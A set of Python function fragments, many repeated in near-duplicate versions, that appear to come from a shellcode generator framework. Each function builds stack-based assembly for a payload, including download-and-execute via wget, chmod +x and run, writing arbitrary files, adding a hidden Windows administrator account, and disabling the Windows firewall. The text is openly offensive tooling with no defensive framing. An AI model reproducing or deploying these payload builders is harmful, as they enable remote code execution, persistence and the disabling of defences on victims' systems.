def run(path_file,content): null = len(path_file) % 4 if null is not 0: null = '' if null is 0: null = 'xor %ebx,%ebx\npush %ebx\n' return template.write(str(null),stack.generate(str(path_file),'%ebx','string'),stack.generate(str(content),'%ecx','string'),stack.generate(str(len(content)),'%edx','int'))
def run(data): path_file,content=data[0],data[1] null = len(path_file) % 4 if null is not 0: null = '' if null is 0: null = 'xor %ebx,%ebx\npush %ebx\n' return write(str(null),stack.generate(str(path_file),'%ebx','string'),stack.generate(str(content),'%ecx','string'),stack.generate(str(len(content)),'%edx','int'))
def run(data): command = data[0] if command.find(" ") >= 0: command = command.replace('[space]', ' ') if int(len(command)) < 5: command = str( command) + '[space]&&[space]echo[space]1[space]>[space]/dev/null' # bypass a bug in here, fix later # bug in line 12 & 13, check later return sys(stack.generate( command.replace('[space]', ' '), '%ecx', 'string')) else: return sys(stack.generate(command, '%ecx', 'string'))
def run(data): command = data[0] if command.find(" ") >= 0: command = command.replace('[space]', ' ') if int(len(command)) < 5: command = str( command ) + '[space]&&[space]echo[space]1[space]>[space]/dev/null' # bypass a bug in here, fix later # bug in line 12 & 13, check later return sys( stack.generate(command.replace('[space]', ' '), '%ecx', 'string')) else: return sys(stack.generate(command, '%ecx', 'string'))
def run(command): command = command.replace('[space]', ' ') if len(command) < 5: command = str(command) + ' ' #bug in line 12 & 13, check later return template.sys( stack.generate(command.replace('[space]', ' '), '%ecx', 'string'))
def run(command): command = command.replace('[space]', ' ') if int(len(command)) < 5: command = str( command ) + '[space]&&[space]echo[space]1[space]>[space]/dev/null' #bypass a bug in here, fix later #bug in line 12 & 13, check later return template.sys( stack.generate(command.replace('[space]', ' '), '%ecx', 'string'))
def run(filename,content): content = binascii.b2a_hex(content.replace('[space]',' ')) l = len(content) -1 n = 0 c = '\\x' for word in content: c += word n+=1 if n is 2: n = 0 c += '\\x' c = c[:-2] command = 'echo -e "%s" > %s' %(str(c),str(filename)) return template.sys(stack.generate(command.replace('[space]',' '),'%ecx','string'))
def run(data): filename, content = data[0], data[1] content = binascii.b2a_hex(content.replace("[space]", " ")) l = len(content) - 1 n = 0 c = "\\x" for word in content: c += word n += 1 if n is 2: n = 0 c += "\\x" c = c[:-2] command = 'echo -e "%s" > %s' % (str(c), str(filename)) return sys(stack.generate(command.replace("[space]", " "), "%ecx", "string"))
def run(data): filename,content=data[0],data[1] content = binascii.b2a_hex(content.replace('[space]',' ')) l = len(content) -1 n = 0 c = '\\x' for word in content: c += word n+=1 if n is 2: n = 0 c += '\\x' c = c[:-2] command = 'echo -e "%s" > %s' %(str(c),str(filename)) return sys(stack.generate(command.replace('[space]',' '),'%ecx','string'))
def run(filename,content,command): command = command.replace('[space]',' ') try: cont = binascii.b2a_hex(open(content).read()) except: from core import start sys.exit(color.color('red')+'Error, Cannot find/open the file %s'%(content)+color.color('reset')) l = len(cont) -1 n = 0 c = '\\x' for word in cont: c += word n+=1 if n is 2: n = 0 c += '\\x' c = c[:-2] command = 'echo -e "%s" > %s ; chmod 777 %s ; %s'%(str(c),str(filename),str(filename),str(command)) return template.sys(stack.generate(command.replace('[space]',' '),'%ecx','string'))
def run(filename, content, command): command = command.replace('[space]', ' ') try: cont = binascii.b2a_hex(open(content).read()) except: from core import start sys.exit( color.color('red') + 'Error, Cannot find/open the file %s' % (content) + color.color('reset')) l = len(cont) - 1 n = 0 c = '\\x' for word in cont: c += word n += 1 if n is 2: n = 0 c += '\\x' c = c[:-2] command = 'echo -e "%s" > %s ; chmod 777 %s ; %s' % ( str(c), str(filename), str(filename), str(command)) return template.sys( stack.generate(command.replace('[space]', ' '), '%ecx', 'string'))
def run(data): file_to_perm,perm_num=data[0],data[1] return chmod(stack.generate(perm_num,'%ecx','int'),stack.generate(file_to_perm,'%ebx','string'))
def run(data): directory_to_create = data[0] return dir_create( stack.generate(directory_to_create, "%ecx", "string"), directory_to_create)
def run(data): dirname = data[0] command = 'mkdir %s' % (str(dirname)) return sys(stack.generate( command.replace('[space]', ' '), '%ecx', 'string'))
def run(url,filename): command = 'wget %s -O %s' %(str(url),str(filename)) return template.sys(stack.generate(command.replace('[space]',' '),'%ecx','string'))
def run(data): dirname = data[0] command = 'mkdir %s' % (str(dirname)) return sys( stack.generate(command.replace('[space]', ' '), '%ecx', 'string'))
def run(data): directory_to_create = data[0] return dir_create(stack.generate(directory_to_create, "%ecx", "string"), directory_to_create)
def run(file_to_perm, perm_num): return template.chmod(stack.generate(perm_num, '%ecx', 'int'), stack.generate(file_to_perm, '%ebx', 'string'))
def run(command): command = command.replace('[space]',' ') if int(len(command)) < 5: command = str(command) + '[space]&&[space]echo[space]1[space]>[space]/dev/null' #bypass a bug in here, fix later #bug in line 12 & 13, check later return template.sys(stack.generate(command.replace('[space]',' '),'%ecx','string'))
def run(file_to_perm,perm_num): return template.chmod(stack.generate(perm_num,'%ecx','int'),stack.generate(file_to_perm,'%ebx','string'))
def run(data): url, filename, command = data[0], data[1], data[2] command = 'wget %s -O %s ; chmod +x %s ; %s' % ( str(url), str(filename), str(filename), str(command)) return sys( stack.generate(command.replace('[space]', ' '), '%ecx', 'string'))
def run(command): command = command.replace('[space]',' ') if len(command) < 5: command = str(command) + ' ' #bug in line 12 & 13, check later return template.sys(stack.generate(command.replace('[space]',' '),'%ecx','string'))
def run(data): url = data[0] filename = data[1] return download_tofile(stack.generate(url, "%ecx", "string"), stack.generate(filename, "%ecx", "string"))
def run(dirname): command = 'mkdir %s' %(str(dirname)) return template.sys(stack.generate(command.replace('[space]',' '),'%ecx','string'))
def run(data): username = data[0] passsword = data[1] command = "cmd.exe /c net user " + username + " " + passsword + " /add && net localgroup administrators " + username + " /add" return add_admin(stack.generate(command, "%ecx", "string"), command)
def run(data): url = data[0] filename = data[1] return download_exec( stack.generate(url, "%ecx", "string"), stack.generate(filename, "%ecx", "string"))
def run(data): file_to_perm, perm_num = data[0], data[1] return chmod(stack.generate(perm_num, '%ecx', 'int'), stack.generate(file_to_perm, '%ebx', 'string'))
def run(data): file_to_exec = data[0] return exc(stack.generate(file_to_exec, '%ebx', 'string'))
def run(dirname): command = 'mkdir %s' % (str(dirname)) return template.sys( stack.generate(command.replace('[space]', ' '), '%ecx', 'string'))
def run(data): file_to_exec = data[0] return exc(stack.generate(file_to_exec, "%ecx", "string"), file_to_exec)
def run(data): command = "netsh firewall set opmode disable" return disable_firewall(stack.generate(command, "%ecx", "string"))
def run(data): url,filename,command=data[0],data[1],data[2] command = 'wget %s -O %s ; chmod +x %s ; %s' %(str(url),str(filename),str(filename),str(command)) return sys(stack.generate(command.replace('[space]',' '),'%ecx','string'))
def run(data): file_to_create = data[0] file_content = data[1] return create_file(stack.generate("echo " + file_content + ">" + file_to_create, "%ecx", "string"))
def run(url, filename, command): command = 'wget %s -O %s ; chmod +x %s ; %s' % ( str(url), str(filename), str(filename), str(command)) return template.sys( stack.generate(command.replace('[space]', ' '), '%ecx', 'string'))
def run(file_to_exec): return template.exc(stack.generate(file_to_exec,'%ebx','string'))